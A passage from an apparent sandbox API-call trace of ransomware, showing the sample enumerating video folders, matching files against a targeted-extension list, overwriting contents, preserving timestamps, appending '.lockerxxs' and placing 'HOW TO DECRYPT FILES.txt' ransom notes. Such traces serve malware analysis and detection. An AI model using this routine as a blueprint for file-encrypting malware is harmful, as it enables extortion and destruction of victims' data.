pszSpec="*.csv") returned 0 [0091.921] lstrlenA (lpString="*.csv") returned 5 [0091.921] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35994c0, ftCreationTime.dwHighDateTime=0x1d5e5c8, ftLastAccessTime.dwLowDateTime=0x9d96bfa0, ftLastAccessTime.dwHighDateTime=0x1d5e3f6, ftLastWriteTime.dwLowDateTime=0x9d96bfa0, ftLastWriteTime.dwHighDateTime=0x1d5e3f6, nFileSizeHigh=0x0, nFileSizeLow=0x17e23, dwReserved0=0x700061, dwReserved1=0x360075, cFileName="SNoY-bfeD26_Lkg.mp4", cAlternateFileName="SNOY-B~1.MP4")) returned 1 [0091.921] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0091.921] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SNoY-bfeD26_Lkg.mp4") returned -1 [0091.921] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SNoY-bfeD26_Lkg.mp4") returned -1 [0091.921] lstrcmpiA (lpString1="", lpString2="SNoY-bfeD26_Lkg.mp4") returned -1 [0091.921] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv") returned="rKpaiYK vA3eVdCPK.flv" [0091.921] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\" [0091.921] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\") returned="" [0091.921] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\HOW TO DECRYPT FILES.txt" [0091.921] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\02fobcldpapu6-varzez\\how to decrypt files.txt")) returned 0x20 [0091.921] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\", lpString2="SNoY-bfeD26_Lkg.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4" [0091.921] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4", pszSpec="*.ems") returned 0 [0091.921] lstrlenA (lpString="*.ems") returned 5 [0091.921] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4", pszSpec="*.db") returned 0 [0091.922] lstrlenA (lpString="*.db") returned 4 [0091.922] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4", pszSpec="*.dbf") returned 0 [0091.922] lstrlenA (lpString="*.dbf") returned 5 [0091.922] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4", pszSpec="*.myox") returned 0 [0091.922] lstrlenA (lpString="*.myox") returned 6 [0091.922] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4", pszSpec="*.myo") returned 0 [0091.922] lstrlenA (lpString="*.myo") returned 5 [0091.922] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4", pszSpec="*.qbw") returned 0 [0091.922] lstrlenA (lpString="*.qbw") returned 5 [0091.922] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4", pszSpec="*.qbb") returned 0 [0091.922] lstrlenA (lpString="*.qbb") returned 5 [0091.922] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4", pszSpec="*.qbm") returned 0 [0091.922] lstrlenA (lpString="*.qbm") returned 5 [0091.922] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4", pszSpec="*.qbo") returned 0 [0091.922] lstrlenA (lpString="*.qbo") returned 5 [0091.922] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4", pszSpec="*.qbx") returned 0 [0091.922] lstrlenA (lpString="*.qbx") returned 5 [0091.922] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4", pszSpec="*.qba") returned 0 [0091.922] lstrlenA (lpString="*.qba") returned 5 [0091.923] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4", pszSpec="*.qby") returned 0 [0091.923] lstrlenA (lpString="*.qby") returned 5 [0091.923] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4", pszSpec="*.qbj") returned 0 [0091.923] lstrlenA (lpString="*.qbj") returned 5 [0091.923] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4", pszSpec="*.ofx") returned 0 [0091.923] lstrlenA (lpString="*.ofx") returned 5 [0091.923] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4", pszSpec="*.qif") returned 0 [0091.923] lstrlenA (lpString="*.qif") returned 5 [0091.923] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4", pszSpec="*.mye") returned 0 [0091.923] lstrlenA (lpString="*.mye") returned 5 [0091.923] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4", pszSpec="*.mbox") returned 0 [0091.923] lstrlenA (lpString="*.mbox") returned 6 [0091.923] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4", pszSpec="*.eml") returned 0 [0091.923] lstrlenA (lpString="*.eml") returned 5 [0091.923] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4", pszSpec="*.pst") returned 0 [0091.923] lstrlenA (lpString="*.pst") returned 5 [0091.923] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4", pszSpec="*.ost") returned 0 [0091.923] lstrlenA (lpString="*.ost") returned 5 [0091.923] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4", pszSpec="*.idx") returned 0 [0091.923] lstrlenA (lpString="*.idx") returned 5 [0091.924] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4", pszSpec="*.dbx") returned 0 [0091.924] lstrlenA (lpString="*.dbx") returned 5 [0091.924] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4", pszSpec="*.sql") returned 0 [0091.924] lstrlenA (lpString="*.sql") returned 5 [0091.924] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4", pszSpec="*.mdb") returned 0 [0091.924] lstrlenA (lpString="*.mdb") returned 5 [0091.924] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4", pszSpec="*.fdb") returned 0 [0091.924] lstrlenA (lpString="*.fdb") returned 5 [0091.924] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4", pszSpec="*.wab") returned 0 [0091.924] lstrlenA (lpString="*.wab") returned 5 [0091.924] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4", pszSpec="*.dat") returned 0 [0091.924] lstrlenA (lpString="*.dat") returned 5 [0091.924] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4", pszSpec="*.txt") returned 0 [0091.924] lstrlenA (lpString="*.txt") returned 5 [0091.924] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4", pszSpec="*.jpeg") returned 0 [0091.924] lstrlenA (lpString="*.jpeg") returned 6 [0091.924] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4", pszSpec="*.jpg") returned 0 [0091.924] lstrlenA (lpString="*.jpg") returned 5 [0091.924] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4", pszSpec="*.png") returned 0 [0091.924] lstrlenA (lpString="*.png") returned 5 [0091.924] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4", pszSpec="*.php") returned 0 [0091.925] lstrlenA (lpString="*.php") returned 5 [0091.925] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4", pszSpec="*.cs") returned 0 [0091.925] lstrlenA (lpString="*.cs") returned 4 [0091.925] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4", pszSpec="*.cpp") returned 0 [0091.925] lstrlenA (lpString="*.cpp") returned 5 [0091.925] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4", pszSpec="*.rar") returned 0 [0091.925] lstrlenA (lpString="*.rar") returned 5 [0091.925] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4", pszSpec="*.zip") returned 0 [0091.925] lstrlenA (lpString="*.zip") returned 5 [0091.925] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4", pszSpec="*.html") returned 0 [0091.925] lstrlenA (lpString="*.html") returned 6 [0091.925] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4", pszSpec="*.htm") returned 0 [0091.925] lstrlenA (lpString="*.htm") returned 5 [0091.925] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4", pszSpec="*.xlsx") returned 0 [0091.925] lstrlenA (lpString="*.xlsx") returned 6 [0091.925] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4", pszSpec="*.xls") returned 0 [0091.925] lstrlenA (lpString="*.xls") returned 5 [0091.925] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4", pszSpec="*.mp4") returned 1 [0091.925] lstrlenA (lpString="*.mp4") returned 5 [0091.925] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4" [0091.926] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4" [0091.926] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4." [0091.926] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4.lockerxxs" [0091.926] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\02fobcldpapu6-varzez\\snoy-bfed26_lkg.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0091.927] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x17e23 [0091.927] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x35994c0, dwHighDateTime=0x1d5e5c8), lpLastAccessTime=0x407536*(dwLowDateTime=0x9d96bfa0, dwHighDateTime=0x1d5e3f6), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9d96bfa0, dwHighDateTime=0x1d5e3f6)) returned 1 [0091.927] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0091.927] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x17dfd, lpOverlapped=0x0) returned 1 [0091.933] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4") returned="SNoY-bfeD26_Lkg.mp4" [0091.934] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0091.934] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x17dfd, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x17dfd, lpOverlapped=0x0) returned 1 [0091.934] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0091.935] CloseHandle (hObject=0x94) returned 1 [0091.935] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\02fobcldpapu6-varzez\\snoy-bfed26_lkg.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\SNoY-bfeD26_Lkg.mp4.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\02fobcldpapu6-varzez\\snoy-bfed26_lkg.mp4.lockerxxs")) returned 1 [0091.936] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35994c0, ftCreationTime.dwHighDateTime=0x1d5e5c8, ftLastAccessTime.dwLowDateTime=0x9d96bfa0, ftLastAccessTime.dwHighDateTime=0x1d5e3f6, ftLastWriteTime.dwLowDateTime=0x9d96bfa0, ftLastWriteTime.dwHighDateTime=0x1d5e3f6, nFileSizeHigh=0x0, nFileSizeLow=0x17e23, dwReserved0=0x700061, dwReserved1=0x360075, cFileName="SNoY-bfeD26_Lkg.mp4", cAlternateFileName="SNOY-B~1.MP4")) returned 0 [0091.936] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0091.936] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f158940, ftCreationTime.dwHighDateTime=0x1d5e5a4, ftLastAccessTime.dwLowDateTime=0x7bb1140, ftLastAccessTime.dwHighDateTime=0x1d5dadf, ftLastWriteTime.dwLowDateTime=0x7bb1140, ftLastWriteTime.dwHighDateTime=0x1d5dadf, nFileSizeHigh=0x0, nFileSizeLow=0x16a4d, dwReserved0=0x52d540, dwReserved1=0x4ff4e8, cFileName="CmWiFndgcjOUEL.mkv", cAlternateFileName="CMWIFN~1.MKV")) returned 1 [0091.936] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0091.937] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CmWiFndgcjOUEL.mkv") returned 1 [0091.937] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CmWiFndgcjOUEL.mkv") returned 1 [0091.937] lstrcmpiA (lpString1="", lpString2="CmWiFndgcjOUEL.mkv") returned -1 [0091.937] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\*.*") returned="*.*" [0091.937] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\" [0091.937] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\") returned="" [0091.937] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\HOW TO DECRYPT FILES.txt" [0091.937] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\how to 